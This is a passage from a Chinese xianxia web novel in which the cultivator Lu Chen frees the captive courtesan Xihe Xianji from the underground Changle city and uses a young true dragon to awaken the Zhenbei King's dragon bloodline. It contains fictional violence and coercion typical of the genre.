所有人都为那女子惊为天人般的容颜所倾倒,怔怔出神,好似失魂一般。
月光打在女子脸颊之上,她眉眼低垂,目光从远处收回。
戏台之上的这位女子着实是太美了,尤其是在长乐楼各般花灯月华的衬托之下,更是显得其宛若仙子一般,令人只可远观,而不可亵玩。
“好,好,好,好一个天下第二美人,当真是名不虚传。”
镇北王大笑出声好似是畅快至极。
陆尘眸子微眯,单论相貌而言,眼前女子比之苏月仙宋璃二人也只差上分毫,但在长乐楼各般氛围之气衬托之下,确实是更引人目光,令人不自觉的为之倾倒。
若不是陆尘与苏月仙待久了,定然也要出神不已。
白银的目光落在那女子脸上,心疯狂的跳动,恨不得一分一秒的停歇。
“母亲……”
他失魂落魄的呢喃一句,眸子里有什麽湿润的东西迅速四散开来。
终见至亲之人的喜悦,为其所受苦难的愤恨,万般情绪在白银心中夹杂着,令其万分难受。
似乎是心有所感一般,原些眸子低垂的女子竟是将目光投向陆尘一行人所在之处,但很快的,女子便又将目光偏移开来。
虽只有一瞬,但白银相信,她一定是认出了自己。
他回想起陆尘所说之言,当下强行按耐下自己那颗万分复杂的心,将目光收回,神情也恢复正常。
陆尘亦是忽地偏头向某一处,只见得那角落的阴影之中,有锐利的目光一瞬收回,身影一闪而逝,便消失在陆尘眼前。
虽说神识可以轻易探查周遭天地,但在这修士云集之所,哪怕是镇北王也不会肆无忌惮的把神识铺开,对场中之人一一探查。
陆尘之所以能发现那阴影之中的暗探,更多的还是靠着近乎本能的直觉。
“要来了……”
他又倒了一小杯美酒,将之一饮而尽。
“你们楼主向来都是在闭关吗?”
陆尘暗中传音问道。
萧狸奴点了点头。
“楼主他向来神龙见首不见尾,即便是我,也只不过见过他两三面。”
萧狸奴说道。
“倒与我猜
想的差不多。”
陆尘暗中念道。<
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p> 至尊虽不会像道君那般封禁已身,但至此境者,如逆水行舟,不进反退,亦是要常年闭关悟道方可。
原先陆尘担心的是万一那至尊强行出关,事情显然会变得麻烦上许多。
但现在……
倒并不需要担心了。
“羲和仙姬是不许离开长乐城的吗?”
陆尘又开口向萧狸奴问道。
萧狸奴微微点头。
“长乐仙子之中,唯有羲和仙姬不许离开长乐城,楼主曾说过,长乐城是居於地底的永夜之城,永夜之城需要一轮明月照耀来此的贵客,而羲和仙姬,便是那一轮明月,其既身为明月,自然无需见到太阳,也永远见不到太阳。”
她缓缓而语,眸子里生出一股哀愁之意。
虽说长乐城中的女子们都是不可逃脱的笼中雀,可毕竟自己多少还能见着些光亮。
而羲和仙姬却要永永远远在这只有花灯悬挂的阴暗之处,当做货物一样任人挑选。
白银默默的听着萧狸奴言语,双拳不自觉的攥紧,有血丝从其指缝之中流出,将神木所制,散发着大道韵味的木桌染的血红。
他没有再暴怒出声,只是低着头,默然,默然。
“有多久了?”
陆尘顿了顿又问道。
“应有二十几年了吧。”
萧狸奴不是很确定的说道。
“据说以前是没这条规矩的。”
二十年年未见明日,二十年困於笼中。
白银紧咬着牙,泪珠却是大颗大颗的滴落下来。
他忽地想起自己年幼之时总是一边念想着自己父母,一边又怨恨他们为什麽要丢下自己,让自己只能跟着个白发苍苍的老道士。
每当圆月高悬之际,白银都会望着那轮圆月,期盼着能见到至亲之人的那一日。
他心想着等到那天他一定要让他们後悔,让他们後悔当初要抛弃自己。
可当後来从老道士口中得知昔年真相后,白银才知道自己并不是被抛下了。
二十年未见天日,所换得来的是自己二十年见艳阳高照。
“白银对天起誓,此生定要长乐楼不复所存。”
一向喜好嬉笑怒骂的青年此时一脸正色,暗自在心中发誓。
“想为至亲报仇?”
陆尘暗中传音道。
白银点头,并未说些什麽,眸子里的神色却是异常坚定。
“但若我告诉你,其实她并非你之生母呢?”
陆尘轻叩木桌,目光投向白银,正色而语。
白银如遭雷击,不明所以的看向陆尘。
第两百零一章 不妨一见
陆尘之语犹如雷震,令白银当即呆愣在原地。
他失神的看向陆尘,眸子里满是疑惑之色。
一路伴陆尘而行,白银已然知晓陆尘不但修为高的吓人,在术算一道上也确实可怕,定然不会像自己那般坑蒙拐骗的胡言乱语,既然他这般所言,恐怕不会是空穴来风。
“天阶灵宝三件。”
镇北王高声而语,只见得其随手拍出三件天阶灵宝,一挥袖,将之掷入那小碗之中。
在场众人沉默片刻,倒并不是这些世家仙门的权贵们拿不出三件天阶灵宝,委实是镇北王声名在外,鲜有人敢与之争夺。
“天阶灵宝五件。”
就在场中众人沉默之时,却又有人高声而语,并不惧镇北王权势。
众人目光向那叫唤之声望去,只见得有个锦衣玉服的小胖子随手排出五件灵宝,将之好似豆子一般的随手一掷。
“那是……百里世家的小公子!难怪不惧镇北王权势。”
“百里世家啊,那不奇怪了,百里钱庄遍及五域四海,打交道的都是药阁这些庞然大物,倒确是不必担心惹上镇北王。”
场中人又嘀嘀咕咕的议论道,他们虽也是出自一等一的仙门世家,但与百里世家相比,却还是要略逊一筹。
“不是说百里世家严禁族中子弟进出长乐楼,违者直接在族谱除名吗?怎麽他们家的小公子还敢来?”
又有人万分疑惑而问。
“这你就不知晓了吧,这百里家的家主虽富甲天下,但却是个极深情之人,其妻死後,不复再娶,这小公子是其妻所留最後一子,自然对其万般宠溺,无所不应。”
有知情之人小声而语。
“天阶灵宝十件。”
镇北王倒并非因有人敢与自己竞价而有什麽怒容,依旧是高声而语,豪掷千金。
要知晓随便一件天阶灵宝在外界都能掀起一阵腥风血雨,而在此处却是宛如不值钱的物件一般随手投掷,可想而知这长乐楼中,到底有多麽奢靡。
“十一件。”
锦衣玉服的小胖子爬到桌子上,冲着镇北王做了个鬼脸,有意挑衅。
其身旁扈从想要劝止却又不敢阻拦,只能是止不住的向镇北王弯腰赔笑。
“放肆!”
镇北王身旁的扈从灵气一瞬外泄,就要拔刀之时,镇北王却是摆了摆手。
“小胖子,这个你有吗?”
只见得镇北王抬起手来,手掌之上凭空有浮现出一古钟,其上刻着极为繁杂符文,散发着古老而又荒莽的恐怖气息。
“大道真器!”
那古钟出现的一刹那,在场众人皆是倒吸一口凉气,为之震惊不已。
这倒不是他们没见过大道真器,只是觉得大道真器用在这种地方,未免也……
未免也太过豪气了些。
“小爷当然也有!”
小胖子不甘示弱,就欲从怀中取出个什麽东西。
众人目光齐齐向其投去,期待着这位百里家的小公子能拿出什麽古物出来。
“小公子万万不可啊!”
与众人看热闹的心情不同,小胖子的扈从满脸紧张之色,若是让家主知晓自己在大庭广众之下让其暴露出大道真器,只怕是要落得个死无葬身之地的下场。
那扈从赶忙附在小胖子耳边说了一句什麽,这才令得其安下心来,颇有些怨恨的看了镇北王一眼,也不再与之竞价。
“王爷……”
镇北王身旁的扈从小声而语,杀意却是异常充沛。
“无妨,与小屁孩生什麽气。”
他摇了摇头,又将那古钟随手丢入小碗之中。
这道并非是完整的大道真器,而是其昔
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年於妖族战场所得,乃为残缺之器,至今未能使之认主。
若非如此,哪怕权势滔天如镇北王,也断然不可能随手丢出一件大道真器。
这古钟一丢入小碗之中,在场的竞价便是当即结束。
“羲和见过大人。”
女子遥遥淡漠而语,既未有冷漠抗拒之色,也未有嬉笑逢迎之意,好似是失了魂魄的木偶一般。
可即便如此,女子却依旧足以令在场众人皆为之痴迷,一部分来自其自身以及长乐楼氛围衬托,另一部分自然得自其花魁仙姬,中土第二美人的名头。
所谓美人配英雄,镇北王自视甚高,能入其眼之女子,自然也不过寥寥几人而已。
陆尘抬起那琉璃酒盏,将杯中酒饮尽,目光看向那戏台之上的女子。
只见得其头顶之上有黄色气运盘旋,浓郁至极。
“来了……”
身旁忽地有风吹过,陆尘摇晃那琉璃杯盏,随手将之一定在木桌之上。
这一定竟好似擎天之柱镇於东海一般,一瞬间掀起滔天威势,令得周遭近十道身影皆是颓然倒地。
众人诧异不已,齐齐将目光看向陆尘之处,要知晓长乐城中规矩森严,哪怕是他们也不敢轻易动手,属实想不到眼前这动手的青衫男子倒地是何方神圣。
“竟然还有高人……”
有人暗自嘀咕,觉得那青衫男子威势不简单。
“久闻长乐楼楼主大名,不妨出
来一见?”
青衫男子站起身来,遥遥向一个方向笑语。
众人皆惊。
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第两百零六章 永夜之月
长乐城虽是七层地底阁楼垒成,但每一层都是极为广袤,一眼望去也看不到天际。
当下萧狸奴将几人带往静室之地,白银与羲和仙姬共处一间,陆尘等三人处另一间中。
早在初见羲和仙姬之时,其生平便已是映㣉陆尘的武道天眼之中。
【姓名:明月雪】
【年龄:???】
【境界:太阴境】
【命格:黄色——小有成就】
【生平:为世俗人间之女,天生容貌惊人,方圆百里皆知,年不过豆蔻之时,便已然被世俗王朝的皇帝钦定为㣉宫之人。
後有二修士云游至此,见明月雪如见天人,二人邀之同游,明月雪欣然同意。
世俗王朝的皇帝不知二人身份,大发雷霆派出大军围剿二人,却没想二人皆是修行中人,长剑出鞘,高悬九天,十万大军皆吓的齐齐跪拜,明月心被二人带在云端之处,眼见这一幕,当下又惊又笑,只觉得平生从未如此逍遥自在过。
后三人相伴同游,秘境,古坟,旧土,妖谷……无往不去。
然在游历之中,明月雪与其中一人互生情愫,彼此间心意相通,终在一次生死历劫后表明心意。
二人心中既有彼此,已然没了那天不怕地不怕在四境周游闯荡的心,唯恐失去彼此。
故而二人辞别另一人,于山水之间隐居。
另一人名唤李行之,乃为景朝皇室子弟,原先三人同行,如今自已孤身一人形影落寞,李行之只觉得自己是被二人背叛,心中始终有个心结挥之不去。
多年後,李行之因故被逐出皇室,於阴影之中立长乐城,长乐楼,其遍寻中土,终於找到明月雪二人隐居之地。
二人见故友寻来,热情相待,年不过七八岁的幼童也是叔叔叔叔的喊个不停。
李行之酒足饭饱之後,暴起杀人,将幼童残害。
明月雪夫妇二人双目通红,拚死扑向李行之,李行之境界已然不是二者所能比拟,轻而易举便将明月雪丈夫全身经脉挑断,只留其一口气在。
李行之讥讽而语:“昔年你之天赋比我要高得多,在中土年轻一辈之中亦可成尊,却为一女子而放弃大道,实属愚蠢。
明月雪丈夫口不能言,手脚不能动,目光看向李行之,憎恨中又带着怜悯,像是在看个可怜人一般。
李行之更是怒不可遏,暴跳如雷大喊:“你如今不过一废人,为何要这般看我,如何敢这般看我!
他将灵气灌㣉明月雪丈夫体内,想听他说什麽。
明月雪丈夫却是一言不发,连骂都不骂。
这般沉默属实是让李行之道心几近碎裂,他此行来此便是为了报复二人当初将之抛弃,却没想自己如此行事,却还是没能看到二人哀求,後悔,低三下四的神情。
他怒不可遏,手凭空一掐,明月雪便是面色铁青,好似要窒息一般。
直到这时,明月雪的丈夫才又发了疯般的怒骂着李行之。
李行之哈哈大笑,心情瞬间畅快不少。
“这才对是了,就该如此,就需如此才对,这都是你们当初抛下我应该付出的代价。”
李行之恶狠狠而语,大有大仇得报的快感。
明月雪丈夫怒骂良久后又安静下来,冷冷的看着李行之,神情怜悯。
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李行之一愣,那虚空掐持的手又握的更紧些。
“你此生此世,都将孤苦伶仃,一人至死。”
明月雪丈夫一字一句而语,好似在以性命下咒一般。
只不过其与李行之境界差距终归是过於悬殊,纵使此刻心念极为虔诚,亦是未能对李行之有半分影响。
虽说实际上的效用没有,但这这毒誓却好似尖刀一般的插入李行之心口之处,他此生最恨的便是孤身一人这种说辞,从年少之时二位友人离他而去,到後来被逐出皇族,一人身处天启阴影之地,这一切的一切都令他感到万分孤独,同时也万分痛恨孤独。
明月雪丈夫的话属实是刺痛到了李行之的逆鳞,令其好似火烧一般。
李行之打消杀死明月雪二人的念头,将二人带入长乐城中。
其以明月雪丈夫为质,逼迫明月雪成为长乐楼花魁,明月雪自是不肯,心想夫妻二人皆是死了反倒是落得个乾净。
却没想李行之当着明月雪的面极尽手段折磨明月雪丈夫,却又以仙丹灵药吊着他一口气,以此逼迫其成为长乐楼花魁,如若不然,便日日夜夜要明月雪丈夫生不如死。
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明月雪不忍丈夫受此生不如死的折磨,只能是同意下来,自此唤为羲和仙姬,受天启诸多权贵追捧。
二人每十年能相见一次,李行之自明月雪成花魁之後,敛财无数,得修道资源巨广,也不想逼明月雪过激,故而倒也再未折磨明月雪丈夫。
三人於王朝初见之时,自云端
大笑十万大军,何其年少轻狂,得意逍遥,却没想多年过去,一人身处囚笼,一人被困永夜,一人心如死灰。
天可怜见。
明月雪自知难逃这永夜之城,但对於城中姐妹却是极为关照,知晓不少人都想离开此处,只是碍於长乐楼楼主之威严,而不敢逾越雷池半步。
后一长乐仙子与修士私定终身,竟破除长乐楼禁制,怀上身孕。
那修士唯恐被长乐楼楼主察觉,到时候累及宗门,故而不顾山盟海誓,弃那长乐仙子不顾。
长乐仙子却不愿舍弃胎儿,执意留下。
城中诸仙子侍女皆为其打掩护,后其生出之时,终究还是没有瞒过城中暗探。
众人皆是知晓,若是长乐楼楼主追责下来,那定然是必死无疑,故而明月雪主动将那婴儿视为自己所生之子,故意带其外逃,以防追责楼中姐妹。
明月雪自然跑不出暗探掌心之中,其以性命相逼长乐楼楼主,方才将那孩子送出长乐城。
后那孩子长大寻来长乐城中,明月雪因在那孩子身上留下过灵气刻印,故而知晓其便是昔年婴孩。
二者相视,以为明月雪是自己母亲的青年便是忍不住流出泪来。
暗探察觉,对其围杀,后楼中诸女寻各自相熟之人相救,又加之明月雪以生死相逼,这才使得青年再度逃离。
又待多年,那青年竟成道君归来,将那长乐楼楼主斩杀,终於使得明月雪与其丈夫团聚。
青年虽已知晓明月雪并非是自己亲生母亲,却依旧视其为母,视其夫为父。
后明月雪与其丈夫再归隐山间,相伴至终老。】
回想起女子生平,陆尘也是不禁一叹。
其被困於这永夜之城多年,却依旧能如此待人,不惜以性命相逼,自然担得这羲和之称。
其如月之皎洁,在永这不见日的永夜之城,始终将其月光洒落在每一位见不到光的女子身上。
我心敬之。
陆尘自顾自而语,遥遥向隔间方向敬了杯酒。
第二百零七章 阳光刺眼
静室之中,镇北王倒是并未开口问及真龙相关之事,毕竟此间有至尊神识扫荡,虽能暗中传音,但多少还是有些风险。
既然事关真龙,那便是天大的事,自然容不得任何闪失。
“小友是从东域来的?”
等待良久后,镇北王还是有些按耐不住性子的问道。
陆尘微微点头。
镇北王亦是自顾自点头,彷佛是印证了什麽猜想一般。
这世间与真龙最相关一处,自然是那东域的百朝战场。
只是那毕竟是东域七大圣地所辖之地,哪怕镇北王盛名在外,又是世界一等一的至尊,可真要到了东域,又如何斗得过亘古恒存七大圣地。
故而虽始终有去那百朝战场探查一番的想法,但总归是没法子真的㣉其中而去。
这些年镇北王也曾於东域布下些棋子,想令这批人以同辈天骄的身份㣉百朝战场之中探查,看看能不能有什麽收获,不过这般想法还是有些异想天开了。
就连七大圣地联手探查也没有探查出什麽东西,派一些年轻棋子去,自然也未有什麽成效了。
至於陆尘当日为何能歪打正着的到那龙鳞之所在,一来大抵是其得过个福缘深厚的系统奖励,二来则是段凌云恰巧是荒古神体,与那青铜殿中坐化的大成神体心有所感,这才得以㣉那青铜殿中,斩杀一天渊之人,得了那片护心龙鳞。
“你作何打算,要不离开长乐楼?”
陆尘歪头又问向萧狸奴。
自己这麽一闹,萧狸奴虽只是陪侍左㱏,但当时眼中那担忧之色恐怕早已被暗探察觉,若是留在长乐楼中,自是不太适合了。
萧狸奴微微一怔,旋即又摇了摇头。
“我原是景朝必杀之人,若是离开长乐楼,出云古国公主的身份传出去,只怕是在劫难逃。”
萧狸奴轻叹一声,神色幽幽。
“无妨,本王能保你。”
镇北王忽地开口道。
萧狸奴当即一惊,她原是暗中传音说与陆尘听,却没想到也是被镇北王听到这话。
镇北王身居高位,何等聪明,听到萧狸奴这一句,便已经将来龙去脉猜的七七八八。
当下心中暗念道:“这长乐楼楼主胆子倒是不小,竟然敢把天子要杀之人就养在眼皮子底下。”
“昔年天子怒头之上方才行此灭国之举,後天子每每与我言及此事,总是忏悔不已,直言不该意气用事。多年过去,哪怕出云古国皇室遗孤存世的消息流传出於,想必天子也只是感到宽慰,并不会去追究什麽。”
镇北王缓缓解释道。
萧狸奴面上虽施施然道了声谢,但心中却是冷笑不已。
後悔,真是天大的笑话。
把一国屠了个乾净,一句後悔就想从此心安,一笔勾销往日恩怨,天底下可没有这麽容易的事。
哪怕是景朝天子也不行。
萧狸奴心中这般念道,那颗问道修行的念头也越发强烈。
“你意下如何,是去北疆还是留在此处。”
陆尘问道。
“其实我还有个法子,我这有门秘术,可改换容颜气息,哪怕是至尊,若不是有意探查,也不会察觉有变。”
“若你想离开长乐楼,又不想去北疆,便可行此法。”
陆尘手一挥,便有一道金色卷轴出现在其手中。
“只不过若行此法,待得我成至尊之时,你方才可再复昔日容颜气息,不必再改头换面。”
陆尘看向萧狸奴又道。
“夫子要多久方可成至尊之位?”
萧狸奴顿了顿问道。
“十年之内。”
陆尘想了想说道。
“好,那我便行此秘术,等夫子成至尊之日。”
萧狸奴点了点头,极为坚定的说道。
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镇北王微微出神,眸子中显露出些许异色。
若说这小妮子境界低微不懂得至尊有多难成的话,眼前青年已然跻身真君境界,应该要比世上九成九的人都要更知晓至尊如何难成才对。
怎麽会这般狂妄,竟说出十年可成至尊之语。
镇北王不禁笑了起来,对陆尘这狂悖之语微微摇头。
“这小子不会在拿真龙耍本王吧……”
见陆尘所言如此狂悖,镇北王当下又对陆尘所说那真龙起疑。
“算了算了,且先看看再说。”
镇北王又摇了摇头,自顾自而语。
哪怕有万分之一的可能,也值得自己试试,毕竟也没什麽损失。
陆尘将那金色卷轴传於萧狸奴后,萧狸奴便当即盘腿在静室之中冥想修行起来。
只见得并不多时,萧狸奴便领会这门秘术要诀,身形开始变幻,气息也不断转变。
“这是成了嘛……”
良久后,萧狸奴睁开眸子,站起身来。
陆尘望去,原先如广寒仙子一般的佳人已然换了一副模样,长发极为干练的竖起,眉眼如远山,飒飒似秋风,颇有股江湖女侠的风范。
萧狸奴唤了一副水镜出来照看,
倒是对自己此时姿态颇为满意。
“多谢二位前辈相助,晚辈没齿难忘。”
就在三人各自念着自己心事之时,白银与羲和仙姬便是叩门而㣉。
白银猛的跪在地上,羲和仙姬则是施施然行了个万福,谢过陆尘二人。
陆尘对羲和仙姬还礼,以示心中敬意。
一番絮叨之後,众人这才告离,最终羲和仙姬亲送几人至法阵之处,便欲离去。
陆尘却是带着羲和仙姬直接越过法阵,由镇北王阻拦长乐楼楼主神念。
羲和仙姬被困永夜之城多年後,终见明日。
她抬起手来遮住并不刺眼的阳光,泪已满面。
第二百零八章 混血人族
中土景朝,帝都天启,听雨楼。
听雨楼位列天启三大名楼之一,尤以适宜玄修问道闻名。
世间仙门,大抵多位於灵山之上,缥缈如烟,灵气缭绕,在其间修行,自然要远比凡俗之人更要接近那玄之又玄的大道所在。
只是并非所有人都习惯於深居灵山之上,尤其是些年轻子弟们,莫不是喜欢天启这般的繁华之地,常年居於此,鲜少回山门之上。
而在此处,听雨楼无疑是最适合玄修之地。
其内里小世界乃为一处实实在在的洞天福地,再加之听雨楼独门秘术奏响,便能抚人道心,自然备受修士们追捧。
若说醉仙楼讲究一个醉字,长乐楼讲究一个乐字,那麽听雨楼,便极是讲究一个雅字。
入楼之时,便能瞧见每一处布景都显得极为雅致清玄,为诸多修士权贵所追捧。
其与长乐楼大为不同,去听雨楼的,大多不会去长乐楼,觉得他们俗不可耐,去长乐楼的呢,也基本不会去听雨楼,觉得他们是装腔作势。
三楼之中,也只有醉仙楼来往人群最是不定,有翩然若仙䭾,亦有狂歌肆笑之人。
听雨楼静室之中,陆尘与镇北王二人对坐,轻品茗茶。
听雨楼并不提供酒水,但却有着中土最好的几种茶叶之一,虽不如陆尘手头的悟道茶叶,但却不会差上太多。
羲和仙姬毕竟是长乐楼的摇钱树,尚且不能将之带离,不然定会令那长乐楼楼主丧心病狂报复。
而道士白银与萧狸奴则各自离去,皆去寻自己的大道所在。
二人皆有深仇大恨负身,相较下来,萧狸奴欲向景朝复仇,倒是要困难的多。
不过事实难料,谁又能知多年之後又待如何呢。
或许景朝以及长乐楼都不会知道,他们可能会被如今两个境界并不高的小修士而有所撼动什麽吧。
而陆尘於强带羲和仙姬越过禁制阵法之时,心境好似越过漫漫长夜终见曙光一般豁然开朗起来,一瞬间已然至真我二重境界。
之所以这般迅速的从真我一重踏入二重,除开心境方面的进展外,也与在真龙巢穴之中指点十馀位身负金色命格的圣子神女们息息相关。
陆尘於真龙巢穴之中累积了大量灵气修为,根基已然打的十分扎实,只是心境上尚有欠缺。
后其於无尘之地以及长乐城心有所悟,自然便是水到渠成,踏入这真我二重的境界。
而在长乐城一事暂了,陆尘身负的命格指数也已然到了8点,很快便要接近那十点的大道之巅奖励。
“小友说说,那真龙在何处?”
静室之中,镇北王放下茶盏,看向陆尘说道。
似乎是纵酒惯了,镇北王倒是对这茗茶并不感兴趣,轻抿一口后便再动之。
他虽对陆尘有些怀疑,但不知道为何,心中总觉得这事并非作假,或许自己今日真能见到真龙。
“远在天边,近在眼前。”
陆尘淡然一笑,将袖袍拢起,只见得其手腕之处,有一道赤金色的圆环悬挂,若是瞧得仔细些,便是能察觉到那根本不是什麽圆环,而是缠绕於陆尘手腕之处的龙躯。
镇北王当即一怔,堂堂至尊竟是忍不住的身子微颤起来。
身为龙族血裔,又立身於至尊之境,他要比任何人都更能感受到陆尘手腕之处的那赤金色圆环是一条货真价实的真龙。
天地之间,自屠龙一役后,再无真龙。
千万年过後,又复现真龙身影。
“七七。”
陆尘轻唤了声,那手腕处的圆环便是一瞬之间展开,赤金色的小龙腾旋而出,活灵活现的浮在半空之中。
七七疑惑的看向陆尘,有些不明白为何要吵醒自己。
陆尘头点向对面的镇北王,七七这才扭过头去,上下打量着眼前这魁梧男人。
自真龙巢穴出世后,七七便一直陷入沉睡之中,只在陆尘生死危机的那一刻醒来。
数月过去,直到此时,陆尘方才将之主动唤醒。
“竟然已经封侯境了……”
陆尘眸子微眯,感受着七七身上传来的气息,嘴角微微抽搐。
七七刚出世时便是神游境界,这些日子睡着睡着便是轻而易举的跻身封侯境界,属实是过於恐怖了。
“真龙不愧是得天地青睐,更有能代天道行事的灵类。”
陆尘在心中暗自这般感慨一声。
神游境到封侯境之间有如天堑,诸多人纵使一生也难以逾越,而龙族不过睡眠休憩便是能跨此天堑,可想而知这差距有多大。
不过冥冥之中,天行有常,自有定数。
龙族这般得天独厚,备受天地所嘉,最後却是落得个满族被屠的下场,大抵可以说是天地不仁,以万物为刍狗了。
哪怕是真龙,也逃不过。
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“你身上流着我族之血?”
七七开口而言,声音中竟然是莫名带着几分威严。
“不肖子孙唐傲,见过先祖!”
在陆尘略微有些诧异的目光下,堂堂镇北王竟然单膝跪下,极为郑重而语。
他虽然知晓镇北王反应定然会十分剧烈,倒也没想到会剧烈到这般程度。
七七在半空中旋绕半圈,而後有些不耐烦的嘟囔道:“起来吧起来吧。”
镇北王立即起来,脸上却依旧是激动神情,丝毫难以压制下来。
陆尘向其望去,眸子里有微微的水雾浮现。
武道天眼之下,镇北王的生平尽㣉陆尘眼底。
【姓名:唐傲】
【年龄:???】
【境界:至尊】
【命格:帝路争锋】
【生平:乃为龙族与人族混血血裔,身负真龙血脉,其族曾於荒古之时遭清算,被视为妖族之类,几近灭族,真龙死後,其全族为表诚意,改名换姓,又大肆追杀五域四海的残存妖族,最终才被人族所接纳。
真龙虽死,但其族却认为真龙乃为天地间第一等的生灵,断不会就此灭绝。
再加之真龙不存於世间,其族便永远无法觉醒完全的真龙血脉。
故而遍寻五域四海,为寻真龙遗迹。
然天地间唯一一处的真龙遗迹被东域七大圣地所把
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控,哪怕其族强盛,也难以与七大圣地抗衡。
故其族每一代都将夺回百朝战场,迎回真龙之属为目的。
及至唐傲之时,其身所负龙血极为浓郁,肉身之强横,天生与大妖无异,又加之其天姿聪颖,悟性极高,故而破境如破竹,修行路上具是坦途。
后其㣉至尊之境,於北疆一人独断数条妖族㣉侵的虚空通道,以此获封异性王,所辖中土北方极为辽阔的版图。
然成也龙血,败也龙血。
自帝路争锋之时,其龙族血脉却依旧未完全觉醒,既不似人族血脉之精纯,又不似大妖血脉之汹涌。
混血之身令其修行初期既有大妖肉身之强横,又有人族悟法之心境,然至帝路之时,这混血之身已然成了制约,使得其在帝路争锋之中黯然失色,不复昔年至尊境界时的威风。
后其於帝路争锋之中身死道消,未至帝路尽头。】
武道天眼之下,镇北王头顶有金色气运盘旋,散发着璀璨金光。
金色乃为帝路争锋之人,如镇北王这般在至尊境界中也是名列前茅的大修士,自然能踏㣉那帝路之中。
“几近灭族……看来昔年人族与妖族大场大战,果真是牵连了不少……”
陆尘自顾自的在心底呢喃而语。
虽说所隔年代久远,但青史之中记载这段史事的地方倒是要比青帝,白帝这般这有只言片语的帝者要多的多。
据说昔年人族与妖族大战,也是被逼到了几近族灭的地步,直至轩辕称帝,方才赢下了这场大战,逐妖族出四海之外。
原先在妖族统御天下之时,人族为求自保又会是为了获得与妖族等同强大的力量,常常向那些妖族皇室献上人族女子,以此来获得妖族血脉。
时至今日,那些身负大妖血脉的人族,其族上几乎都是这般得来妖族血脉之力。
如萧狸奴,如唐傲等,皆在此列。
昔年这些混血人族在妖族溃败之後,也曾遭纯血人族清算,只是後来混血人族皆表心意投诚,轩辕黄帝又有言四海皆是一家,这才使得这些混血人族不至於族灭,而有後世血脉流传下来。
“前辈,七七可为您牵引血脉之力,使您完整的觉醒真龙血脉。”
陆尘顿了顿,看向镇北王道。
镇北王一族对真龙几近到了疯狂崇拜的地步,不然不至於等到最後一条真龙死後,他们方才去投诚,转头猎杀妖族。
这也是为何陆尘笃定自己只要提及真龙,镇北王定然会出手拦下长乐楼楼主的缘故。
“完整的真龙血脉!”
镇北王猛的一惊,有些不敢置信的看向对面的一人一龙。
“别大惊小怪的,哪里像是我族之态。”
七七老气横秋的这般说道。
陆尘心中暗笑,这小家伙还教训起人来了。
“老祖所言极是,是我失态了。”
镇北王平复神情,正色而语。
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第二百零九章 护道者
镇北王面色虽是平静下来,但心海之中却越是激荡不已,自㣉至尊境界以来,其越发的感觉到这龙血於几身已经等同於枷锁般的存在,虽说如今依旧可以倚仗真龙血脉在至尊之境大杀四方,可一旦帝路开启,诸至尊皆跻身道君之境,哪怕自己这龙血的缺陷便会毫无保留的放大,彻底成为限制自己的一把枷锁。
故而在听到陆尘说能使自己真龙血脉完全觉醒之时,饶是以镇北王这般见惯了大风大浪之人也未免有些难以平复心境。
七七上下打量着镇北王,尾巴翘了起来,大有一副老气横秋的模样。
“咳咳。”
陆尘轻咳了两声,示意七七不要再装模作样了。
七七领会陆尘意思,也不再摆谱,当即旋绕腾飞,引得天地之间的灵气汹涌澎湃,好似海潮一般。
此间虽是唤做静室,但实则是一处空间碎片,化形做一处山水田园。
当七七腾飞而起之时,其身上便是有赤金色的光芒绽放开来,比之灿阳还耀眼的多。
龙气一瞬之间在天地肆溢,就连陆尘身後也是有真龙虚影浮现,好似在与七七那龙吟之声和鸣一般。
陆尘虽无真龙血脉,但受真龙传承,早已有龙气加身,对於这股力量自然是再为熟悉不过。
而镇北王亦是极为迅速的便意识到那龙气之浩荡,当即闭目冥想,感受着此番体内血脉汹涌。
赤金色的光芒於其周身凝聚,缓慢的凝聚成真龙虚影。
良久后,镇北王怒喝一声,好似真龙咆哮一般。
他双眸睁开,眸子里已经化作黄金颜色,好似龙瞳一般。
陆尘察觉的到,虽然境界没有更进一步,但此时的镇北王与先前已然有着天壤之别。
若是其此时身居长乐楼中,只怕敢硬带着那羲和仙姬离开楼中。
“多谢老祖相助。”
镇北王单膝跪地,正色而语。
龙类是天地间最为傲气的生灵,而混血龙类亦有这般傲气,只认真龙为首,直到世间最後一条真龙被屠,方才向人族投诚布公。
哪怕镇北王身居至尊之位,可源於血脉之中不可抹去的念头依旧令他万分尊崇眼前这不过封侯境界的赤金色小龙。
牵引完血脉之力后,七七似乎是有些困乏,
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并未理会镇北王什麽,当即便飞往陆尘手腕之处,又蜷缩起来,化作一个圆环。
“道友是……”
七七蜷缩起来后,镇北王站起身来,又看向陆尘。
“真龙将其子嗣托付给我,我算是它的护道人吧。”
陆尘轻笑声说道。
镇北王闻言当即向陆尘深深一行礼,能从七大圣地的眼皮子底下将真龙子嗣带出,绝不会像陆尘说的这般轻而易举。
“既是先祖择定,那便有劳道友相护小祖了,今日大恩,唐傲铭记於心,若有用的上的地方,大可找我。”
“若道友闲暇之时,还望带小祖来北疆一趟,有真龙一族所留之物,还需小祖继承。”
原先镇北王想的是直接带陆尘回北疆,最大程度的保护尚未成型的小真龙,但既是先祖择定陆尘护道,镇北王也不再多插手什麽。
陆尘微微点头。
用肯定是有用的上的地方。
来日问剑天渊,自然少不了至尊压阵。
东域之时你以势压我,来日问剑天渊,我必以势压你。
陆尘眸子微眯,呢喃而语。
第二百一十二章 王见王
之於景朝天子而言,这三朝会武虽说不是什麽小事,但也未大到其要亲自过问的程度。
在其存活於世的漫长岁月之中,已然见过了太多太多的天之骄子。
可最终能走到顶峰者,却终究是寥寥无几,以至於景朝天子对於这所谓的少年天骄争锋其实并没有那麽感兴趣。
但时至今日,一切都变了。
此届三朝会武恰处於一场大变之中,地府遭劫,天渊突破万年禁制而出……
一切的一切都说明将会有一场大变在五域四海之中席卷而起。
在这般浪潮之下,会死许多许多的人。
但同样的,会有一些人涌现於潮头,藉助这浪潮之势跳跃龙门,实现鱼龙之变。
“开洞天福地嘛……”
景朝天子略微低头思索起来。
五域四海有三十六洞天,七十二福地之说,里间仙缘无数,万年不竭,只待有缘人取之。
而三十六洞天之中,又有十大洞天最为闻名,乃是无数修行之人梦寐以求的修行之地。
只是这十大洞天除去海外的三座仙山外,其馀者全都掌控在五域四海那些最为顶尖的势力之中,绝非寻常人可近。
十大洞天之一的元景洞天,正是在景朝域下,向来只有景朝皇室以及与景朝有极好交情的修士大能方可㣉之。
与那些要历经艰险方有所得的秘藏不同,在洞天之中,哪怕修士无意去争抢他物,只在洞天之中冥想静修,其所得也极为恐怖,一日便可胜外界百日。
“对,不但要开洞天福地,并且大道真器,九品丹药,小神通之术一样不能少。”
